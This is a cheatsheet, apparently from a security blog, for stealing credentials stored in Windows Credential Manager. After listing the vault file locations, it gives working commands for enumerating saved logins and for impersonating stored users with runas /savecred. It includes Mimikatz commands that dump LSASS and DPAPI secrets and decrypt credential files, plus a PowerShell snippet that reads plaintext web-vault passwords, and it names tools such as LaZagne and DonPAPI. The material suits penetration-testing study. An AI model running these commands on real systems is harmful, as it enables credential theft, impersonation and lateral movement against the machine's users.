Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Windows Credential Manager Cheatsheet

Credential Storage Locations

PathScope
%UserProfile%\AppData\Local\Microsoft\Vault\User
%UserProfile%\AppData\Local\Microsoft\Credentials\User
%UserProfile%\AppData\Roaming\Microsoft\Vault\User
%ProgramData%\Microsoft\Vault\System
%SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\System

Credential Types

TypeDescription
Web CredentialsWebsites/online accounts (IE, legacy Edge)
Windows CredentialsDomain users, services, network resources

Enumeration

List Stored Credentials (cmdkey)

cmdkey /list

Output Fields

FieldDescription
TargetResource/account name
TypeGeneric or Domain Password
UserAssociated account
PersistenceLocal machine persistence = survives reboots

Exploitation

Impersonate Stored User (runas)

runas /savecred /user:DOMAIN\username cmd

Export Vaults (GUI)

rundll32 keymgr.dll,KRShowKeyMgr

Mimikatz Commands

Dump Credentials from LSASS

privilege::debug
sekurlsa::credman

List Vault Credentials

vault::list
vault::cred

DPAPI Masterkey Extraction

sekurlsa::dpapi
dpapi::masterkey /in:<masterkey_file> /rpc

Decrypt Credential File

dpapi::cred /in:<credential_file>

PowerShell Enumeration

List Web Credentials

[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword(); $_ }

List Windows Credentials

cmdkey /list

ToolPurpose
MimikatzCredential extraction from memory/DPAPI
SharpDPAPIC# DPAPI attacks
LaZagneMulti-platform credential recovery
DonPAPIRemote DPAPI extraction

Key Files

FilePurpose
Policy.vpolContains AES keys (protected by DPAPI)
*.vcrdVault credential files
Master key filesLocated in %AppData%\Microsoft\Protect\<SID>\